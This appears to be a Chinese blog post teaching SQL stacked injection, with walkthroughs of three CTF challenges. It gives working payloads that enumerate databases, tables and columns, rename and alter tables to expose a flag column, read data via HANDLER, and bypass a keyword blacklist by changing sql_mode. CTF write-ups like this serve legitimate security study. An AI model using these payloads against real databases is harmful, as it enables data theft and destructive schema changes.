首页 未分类

sql堆叠注入

主要使用一下三条命令

show databases;   获取数据库名
show tables;  获取表名
show columns from `table_name`; 获取列名(反引号)

通过上面三条命令,大致可以知道数据库的总体,查看数据库内容可以使用一下几种方法

1.使用remane

过滤条件

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

未过滤remane和alter关键字

可以将存在flag的表替换成目前可以显示的表

1';
rename tables `words` to `words1`;   将words表改名为words1
rename tables `tablename` to `words`; 将需要显示的tablename表改名为worlds
alter table `words` change `flag` `id` varchar(100);#  将flag字段改为id

2.使用

3.使用handler

用HANDLER查看flag

1';
handler tablename open;
handler tablename read first;
handler tablename close;#

Exp1. [强网杯 2019]随便注

漏洞注入点:

http://111.198.29.45:40827/?inject=1

当我们构造
?inject=1'
出现

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

很可能存在sql注入了
当我们在构造:

http://111.198.29.45:40827/?inject=1'union select 1,2#

出现

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

当发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入
利用堆叠注入,查询所有数据库:

1';show databases;#

查询所有表:

1';show tables;#

查询1919810931114514表中所有列:

1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

Exp2. BUUCTF [SUCTF 2019]EasySQL

打开界面

试了一下有三种显示
还有一个没有输出
Nonono
可以堆叠注入

1;show databases; 
1;show tables;  

可以看到有一个Flag表

测试发现from flag都被过滤不能直接读到flag

想了很久想不到 看别人wp了~
看见听说比赛的时候原理泄漏了的

select $_GET['query'] || flag from flag

是这样 md 谁想的到啊 别欺负我们菜鸡好不好

不过由于没有过滤 * 出现了一个意外解

*,1 

预期解

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

结果一样的 就不截图了

Exp3. [GYCTF2020]Blacklist

aZJFCq.png
过滤条件
堆叠注入
参考堆叠注入tips
查表名、列名、字段名

show databases;
show tables;
show columns from `table_name`;

本题使用HANDLER查看flag

1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;#

aZJuVJ.png




文章评论